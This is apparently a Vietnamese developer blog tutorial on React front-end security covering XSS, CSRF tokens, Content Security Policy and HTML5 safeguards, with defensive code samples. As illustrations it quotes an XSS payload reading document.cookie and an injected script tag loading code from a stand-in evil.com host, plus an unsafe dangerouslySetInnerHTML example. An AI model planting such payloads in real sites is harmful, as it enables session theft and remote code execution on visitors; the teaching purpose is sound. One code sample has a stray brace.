0
0
Lập trình
TT

Thực hiện bảo mật trong ứng dụng Front-End (React)

Đăng vào 2 tháng trước

• 8 phút đọc

Giới thiệu

Trong thời đại công nghệ số, bảo mật ứng dụng web ngày càng trở nên quan trọng hơn bao giờ hết, đặc biệt là đối với các ứng dụng front-end như React. Trong bài viết này, chúng ta sẽ tìm hiểu các phương pháp bảo mật phổ biến, các vấn đề thường gặp và cách thực hiện bảo vệ ứng dụng React của bạn khỏi những lỗ hổng an ninh.

1. Ngăn chặn Cross-Site Scripting (XSS)

XSS là gì?

XSS là một lỗ hổng phổ biến cho phép kẻ tấn công chèn mã độc vào trang web đáng tin cậy. Khi người dùng truy cập vào trang này, mã sẽ được thực thi, có thể đánh cắp dữ liệu nhạy cảm hoặc cookie phiên.

Nguyên tắc của OWASP

Luôn coi tất cả dữ liệu do người dùng cung cấp là không đáng tin cậy. Cần làm sạch và mã hóa đầu vào và đầu ra để ngăn chặn việc tiêm mã.

Tình huống vấn đề

Một ứng dụng mạng xã hội cho phép người dùng tạo bài đăng. Một kẻ tấn công có thể đăng một bình luận với mã độc như sau: <script>alert(document.cookie)</script>. Nếu ứng dụng hiển thị bình luận này mà không xử lý, bất kỳ người dùng nào xem nó sẽ bị lộ cookie phiên.

Cách thực hiện trong React

React tự động xử lý bảo mật bằng cách thoát mã nội dung trong JSX. Mọi giá trị nhúng trong dấu ngoặc nhọn ({}) đều được React DOM thoát trước khi hiển thị. Điều này có nghĩa là các thẻ <script> và mã độc khác sẽ được chuyển đổi thành chuỗi và hiển thị dưới dạng văn bản, không được thực thi.

javascript Copy
// Cách không an toàn (KHÔNG LÀM ĐIỀU NÀY)
function BadPost({ content }) {
  return <div dangerouslySetInnerHTML={{ __html: content }} />;
}

// Cách an toàn và được khuyến nghị
function SafePost({ content }) {
  return <div>{content}</div>;
}

Lưu ý về dangerouslySetInnerHTML: Thuộc tính này nên được sử dụng cẩn thận và chỉ khi bạn có lý do hợp lý để hiển thị HTML thô. Nếu bạn phải sử dụng, hãy đảm bảo rằng nội dung được tiêm đã được làm sạch ở phía máy chủ bằng cách sử dụng thư viện như DOMPurify.


2. Ngăn chặn Cross-Site Request Forgery (CSRF)

CSRF là gì?

CSRF lừa người dùng gửi yêu cầu độc hại đến máy chủ thay mặt cho một người dùng đáng tin cậy mà không biết.

Nguyên tắc của OWASP

Phòng ngừa hiệu quả nhất là sử dụng mã thông báo CSRF. Máy chủ tạo ra một mã thông báo duy nhất, không thể dự đoán, bao gồm nó trong trường ẩn và xác minh mã thông báo này với mỗi yêu cầu thay đổi trạng thái (POST, PUT, DELETE).

Tình huống vấn đề

Một trang web ngân hàng có điểm cuối transfer mà nhận người nhận và số tiền. Kẻ tấn công biết điểm cuối này và tạo một trang web giả với một biểu mẫu ẩn tự động gửi yêu cầu chuyển tiền đến ngân hàng khi người dùng truy cập trang. Nếu người dùng đã đăng nhập vào tài khoản ngân hàng của họ, yêu cầu sẽ được xác thực và chuyển tiền sẽ hoàn tất.

Cách thực hiện trong React

Trong ứng dụng React hiện đại, việc này được xử lý ở phía máy chủ và trong các cuộc gọi API, không chỉ riêng ở front-end. Vai trò của ứng dụng React là đảm bảo mã thông báo CSRF được bao gồm trong các yêu cầu.

  1. Phía máy chủ: Máy chủ tạo mã thông báo CSRF và gửi đến client, thường là dưới dạng cookie hoặc trong quá trình tải trang đầu tiên.
  2. Phía client (React): Ứng dụng React đọc mã thông báo này. Đối với mỗi yêu cầu POST, PUT, hoặc DELETE, ứng dụng bao gồm mã thông báo trong một tiêu đề HTTP tùy chỉnh (ví dụ, X-CSRF-Token).
javascript Copy
import axios from 'axios';
import Cookies from 'js-cookie';

const csrfToken = Cookies.get('csrf-token');

const apiClient = axios.create({
  headers: {
    'X-CSRF-Token': csrfToken,
  },
});

async function submitProtectedForm(data) {
  try {
    const response = await apiClient.post('/api/protected-action', data);
    return response.data;
  } catch (error) {
    console.error('Bảo vệ CSRF thất bại:', error);
    throw error;
  }
}

3. Chính sách bảo mật nội dung (CSP)

CSP là gì?

CSP là một lớp bảo mật bổ sung giúp giảm thiểu XSS và các cuộc tấn công tiêm dữ liệu khác. Nó xác định các miền mà trình duyệt nên coi là nguồn hợp lệ cho các tập lệnh, kiểu dáng và tài nguyên khác.

Nguyên tắc của OWASP

Sử dụng một CSP mạnh, hạn chế để tạo danh sách cho phép các nguồn đáng tin cậy. Tiêu đề này được gửi từ máy chủ.

Tình huống vấn đề

Kẻ tấn công thành công tiêm một tập lệnh độc hại <script src="https://evil.com/malicious.js"></script>. Nếu không có CSP, trình duyệt sẽ tải và thực thi tập lệnh này, vì đây là một thẻ <script> hợp lệ. Với CSP, trình duyệt sẽ chặn yêu cầu đến miền evil.com.

Cách thực hiện trong React

Điều này là một mối quan tâm của máy chủ. Front-end React không kiểm soát các tiêu đề HTTP, nhưng nó phải được cấu hình để hoạt động trong các quy tắc CSP.

Cấu hình phía máy chủ (Ví dụ, trong express.js):

javascript Copy
const express = require('express');
const app = express();

app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline';"
  );
  next();
});

Ứng dụng React phải đảm bảo tất cả các tập lệnh và tài nguyên khác được phục vụ từ miền trong danh sách cho phép ('self' trong trường hợp này). Nếu bạn sử dụng CDN bên thứ ba cho phông chữ hoặc thư viện, bạn phải thêm miền của chúng vào CSP.


4. Các yếu tố bảo mật HTML5

HTML5 và bảo mật

Các trình duyệt hiện đại và HTML5 cung cấp các tính năng mới mà nếu không được sử dụng cẩn thận, có thể gây ra lỗ hổng bảo mật.

Nguyên tắc của OWASP

Cần chú ý đến các tính năng mới của HTML5 và tác động bảo mật của chúng.

Cách thực hiện trong React

  • Làm sạch APIs: Tránh sử dụng các API HTML5 mới như localStorage để lưu trữ dữ liệu nhạy cảm (ví dụ: mã thông báo) vì chúng dễ bị tấn công XSS. Lưu trữ chúng trong cookie httpOnly thay thế.
  • Sandbox <iframe>: Khi sử dụng các phần tử <iframe> để nhúng nội dung bên thứ ba, luôn sử dụng thuộc tính sandbox để hạn chế những gì nội dung nhúng có thể làm.
  • Ngăn chặn Tabnabbing: Khi mở liên kết bên ngoài với target="_blank", sử dụng rel="noopener noreferrer" để ngăn tab mới lấy quyền kiểm soát đối tượng cửa sổ của tab gốc.
javascript Copy
function SafeLink({ url, text }) {
  return <a href={url} target="_blank" rel="noopener noreferrer">{text}</a>;
}

function SandboxedIframe({ src }) {
  return (
    <iframe
      src={src}
      sandbox="allow-scripts allow-same-origin allow-popups"
      title="nội dung được sandbox"
    ></iframe>
  );
}
}

Các yếu tố bảo mật mặc định được hỗ trợ bởi React

React tự nó cung cấp một số biện pháp bảo mật mặc định, chủ yếu tập trung vào việc hiển thị nội dung động một cách an toàn.

  • Tự động thoát dữ liệu: Như đã đề cập trong phần XSS, React tự động thoát mọi giá trị động được hiển thị trong JSX. Đây là tính năng bảo mật quan trọng nhất của React cho phát triển front-end.
  • Không thao tác DOM trực tiếp: Kiến trúc DOM ảo và mô hình thành phần của React khuyến khích không thao tác DOM trực tiếp, điều này là nguồn gốc phổ biến của các lỗ hổng bảo mật. Các nhà phát triển được khuyến khích cập nhật trạng thái của một thành phần, và React xử lý các cập nhật đến DOM.
  • Cách ly thành phần: Mô hình thành phần thúc đẩy sự tách biệt các mối quan tâm và đóng gói. Mặc dù không phải là một tính năng bảo mật trực tiếp, nhưng các thành phần được thiết kế tốt có thể giúp ngăn chặn các lỗ hổng bảo mật lây lan trong toàn bộ ứng dụng.

Thực hành tốt nhất

  • Luôn làm sạch và mã hóa dữ liệu đầu vào và đầu ra.
  • Sử dụng các thư viện như DOMPurify để làm sạch nội dung HTML.
  • Kiểm tra và xác thực tất cả các yêu cầu đến máy chủ.
  • Đảm bảo sử dụng mã thông báo CSRF cho các yêu cầu thay đổi trạng thái.

Các cạm bẫy thường gặp

  • Sử dụng dangerouslySetInnerHTML mà không làm sạch dữ liệu.
  • Không kiểm tra hoặc xác thực mã thông báo CSRF.
  • Sử dụng localStorage để lưu trữ dữ liệu nhạy cảm.

Mẹo hiệu suất

  • Tối ưu hóa các yêu cầu API với mã thông báo CSRF để giảm thời gian phản hồi.
  • Sử dụng tính năng lazy loading cho các thành phần không cần thiết ngay lập tức.

Kết luận

Bảo mật là một phần quan trọng trong phát triển ứng dụng front-end. Bằng cách hiểu và áp dụng các phương pháp bảo mật đúng cách, bạn có thể bảo vệ ứng dụng React của mình khỏi các cuộc tấn công phổ biến. Hãy luôn cập nhật thông tin về các lỗ hổng và phương pháp bảo mật mới để đảm bảo ứng dụng của bạn luôn an toàn.

Câu hỏi thường gặp

1. Tại sao XSS lại nguy hiểm?

XSS có thể cho phép kẻ tấn công đánh cắp thông tin nhạy cảm như cookie phiên, thông tin tài khoản và thậm chí điều khiển tài khoản của người dùng.

2. Làm thế nào để bảo vệ ứng dụng React khỏi CSRF?

Sử dụng mã thông báo CSRF trong các yêu cầu thay đổi trạng thái và đảm bảo máy chủ xác minh mã thông báo này.

3. CSP có thực sự cần thiết không?

CSP giúp bảo vệ ứng dụng của bạn khỏi các cuộc tấn công tiêm mã độc và là một phần quan trọng trong bảo mật ứng dụng web.

Gợi ý câu hỏi phỏng vấn
Không có dữ liệu

Không có dữ liệu

Bài viết được đề xuất
Bài viết cùng tác giả

Bình luận

Chưa có bình luận nào

Chưa có bình luận nào